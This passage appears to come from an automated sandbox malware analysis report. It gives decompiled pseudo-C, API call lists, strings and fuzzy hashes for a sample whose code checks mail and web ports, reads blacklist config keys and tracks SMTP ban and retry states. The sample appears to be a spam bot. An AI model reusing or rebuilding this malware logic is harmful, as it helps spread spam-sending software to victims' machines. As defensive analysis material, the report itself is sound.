							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,74E04F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,74E04F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p2u, xrefs: 00402CC7

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p2u
API String ID: 1639031587-1441537569
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00434EA9, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F38
_get_int64_arg.LIBCMTD ref: 00434F60
__aullrem.LIBCMT ref: 00435105
__aulldiv.LIBCMT ref: 00435127
_write_multi_char.LIBCMTD ref: 0043522E
_write_string.LIBCMTD ref: 00435249
_write_multi_char.LIBCMTD ref: 00435275
_wctomb_s.LIBCMTD ref: 004352F2

Strings

9, xrefs: 00435138
-, xrefs: 004351CE

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: 935c989434befc701ddcd8fb80753de3e30f53835e9c8fb1d7f9a9d27958b154
Instruction ID: 46731f0e1cccbef44ccae6a499e3c0fcefe37fd4177c5726e1fa4f670168aacb
Opcode Fuzzy Hash: 935c989434befc701ddcd8fb80753de3e30f53835e9c8fb1d7f9a9d27958b154
Instruction Fuzzy Hash: E3F149B1D016299FDB24CF58CC99BEEB7B1BB48304F1491DAE409A7241D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C2BB, Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C350
_get_int64_arg.LIBCMTD ref: 0043C378
__aullrem.LIBCMT ref: 0043C520
__aulldiv.LIBCMT ref: 0043C542
_write_multi_char.LIBCMTD ref: 0043C65B
_write_string.LIBCMTD ref: 0043C676
_write_multi_char.LIBCMTD ref: 0043C6A2
__mbtowc_l.LIBCMTD ref: 0043C711

Strings

9, xrefs: 0043C553

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: f9a497329429b78ba757a150d9d7dcea71dca5b27a941fdfb1e289ea6be11cc8
Instruction ID: 59808ba7417d6a756abc63b14d17e3d8aa4767c59000823ba4666f568a8d0605
Opcode Fuzzy Hash: f9a497329429b78ba757a150d9d7dcea71dca5b27a941fdfb1e289ea6be11cc8
Instruction Fuzzy Hash: 37F15AB1E002299FDB24CF54CC81BAEB7B5FB89314F14519AE609BB241D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00429566, Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 0042958D

Part of subcall function 0041DA60: __invalid_parameter.LIBCMTD ref: 0041DAD2

__invoke_watson_if_error.LIBCMTD ref: 00429596
_strlen.LIBCMT ref: 004295AB
_strlen.LIBCMT ref: 004295BC
_memcpy_s.LIBCMTD ref: 00429604
__invoke_watson_if_error.LIBCMTD ref: 0042960D

Part of subcall function 0041DEE0: __invoke_watson.LIBCMTD ref: 0041DF01

_strlen.LIBCMT ref: 0042961F
_strlen.LIBCMT ref: 00429630

Strings

Ph8S@, xrefs: 00429814
<O@, xrefs: 004296C5

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _strlen$__invoke_watson_if_error$__invalid_parameter__invoke_watson_memcpy_s_wcscpy_s
String ID: <O@$Ph8S@
API String ID: 3749650904-221523576
Opcode ID: 3e769f16ae6592a1974ede7cb070f3524bbc3fefc3e1a24cad520cd4616ec647
Instruction ID: 76c88740395c32ede1b1570a651d453e0db265418a8018bfb6d72bf75682bb20
Opcode Fuzzy Hash: 3e769f16ae6592a1974ede7cb070f3524bbc3fefc3e1a24cad520cd4616ec647
Instruction Fuzzy Hash: CC9184B4F00229EBDB24DF50EC45BEE77B4AB44704F5080AAF60966281D7789E84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00434C07, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434C0B
__get_printf_count_output.LIBCMTD ref: 00434C19
__invalid_parameter.LIBCMTD ref: 00434CA0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434CB5
_write_multi_char.LIBCMTD ref: 0043522E
_write_string.LIBCMTD ref: 00435249
_write_multi_char.LIBCMTD ref: 00435275
_wctomb_s.LIBCMTD ref: 004352F2

Strings

-, xrefs: 004351CE

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: ad9b4dd175574b5ba65479b10f0971cec3caffeb9c6a2713336c5cf3e58dc47b
Instruction ID: edddf834aa6bb0719a14d5f879312db38a966627b22d0f6a5e4932b47bc9622f
Opcode Fuzzy Hash: ad9b4dd175574b5ba65479b10f0971cec3caffeb9c6a2713336c5cf3e58dc47b
Instruction Fuzzy Hash: C1A19FB0D016289BDF24DF54CC49BEEB7B0AB88305F1491DAE5197A281D778AEC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00434A55, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434A59
_strlen.LIBCMT ref: 00434A89
_write_multi_char.LIBCMTD ref: 0043522E
_write_string.LIBCMTD ref: 00435249
_write_multi_char.LIBCMTD ref: 00435275
_wctomb_s.LIBCMTD ref: 004352F2

Strings

-, xrefs: 004351CE
xD@, xrefs: 00434A7C

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$xD@
API String ID: 2232461714-1745409720
Opcode ID: 71ec8c283e454172c5ce321121fe66426b90f2ae2456828c39bd8599e32c207d
Instruction ID: 8a5b69a0ac72992025c2a8d4f0391a0223a3f9c9df725cceca90a2e3db9b734c
Opcode Fuzzy Hash: 71ec8c283e454172c5ce321121fe66426b90f2ae2456828c39bd8599e32c207d
Instruction Fuzzy Hash: 5CA18CB0D016289FDF64DF54CC49BEEB7B0AB88304F1491DAE4186B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

rbl_ip, xrefs: 0040218F
localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
rbl_bl, xrefs: 00402181
net_type, xrefs: 004021DF
0t, xrefs: 00402072

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: 0t$localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-2836909627
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

smtp_herr, xrefs: 0040BE46, 0040BF62
86A, xrefs: 0040BF98
46A, xrefs: 0040BF85
smtp_ban, xrefs: 0040BE55, 0040BF77
smtp_retr, xrefs: 0040BE61, 0040BF8C
06A, xrefs: 0040BF70

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0043BE44, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043BE48
_strlen.LIBCMT ref: 0043BE78
_write_multi_char.LIBCMTD ref: 0043C65B
_write_string.LIBCMTD ref: 0043C676
_write_multi_char.LIBCMTD ref: 0043C6A2
__mbtowc_l.LIBCMTD ref: 0043C711

Strings

xD@, xrefs: 0043BE6B

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: xD@
API String ID: 909868375-1198140267
Opcode ID: f1aa481184beac026704e21a7fab33e859501189567b19e2cc9518fee33b8653
Instruction ID: 4edd75464e65cd29b9d53dfe8f3ebdd8d1f499fd454a036bec1e07b87a9cb18b
Opcode Fuzzy Hash: f1aa481184beac026704e21a7fab33e859501189567b19e2cc9518fee33b8653
Instruction Fuzzy Hash: 17A18EF1D002199FDB24DF55CC81BAEB3B5EB48304F14919AE6097B281D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
